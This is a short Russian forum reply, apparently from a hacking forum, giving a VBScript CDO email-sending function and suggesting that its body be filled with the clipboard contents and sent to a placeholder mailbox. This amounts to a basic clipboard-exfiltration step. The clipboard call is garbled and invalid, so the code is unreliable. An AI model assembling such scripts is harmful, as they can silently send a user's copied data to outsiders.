ANTICHAT - Показать сообщение отдельно

Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,strBody)
strBody - переменная содержащая тело письма.
я не увлекаюсь VBS, просто догадка, чисто логически.
хз чегоне работает. а Clipboard.Q«tT«xt([format]) что-то адекватное вообще выдаёт?

ах да. если взять полный код для отправки

Код:

Call SendPost("mail", "mail@mail.ru", "mail@mail.ru", "tema", Body)
Function SendPost(strSMTP_Server, strTo, strFrom, strSubject, strBody)
    Set iMsg = CreateObject("CDO.Message")
    Set iConf = CreateObject("CDO.Configuration")
    Set Flds = iConf.Fields
    Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = strSMTP_Server
    Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 10
    Flds.Update
    iMsg.Configuration = iConf
    iMsg.To = strTo
    iMsg.From = strFrom
    iMsg.Subject = strSubject
    iMsg.TextBody = strBody
    iMsg.Send
End Function

то переменная для текста будет Body, следовательно Body = Clipboard.Q«tT«xt([format])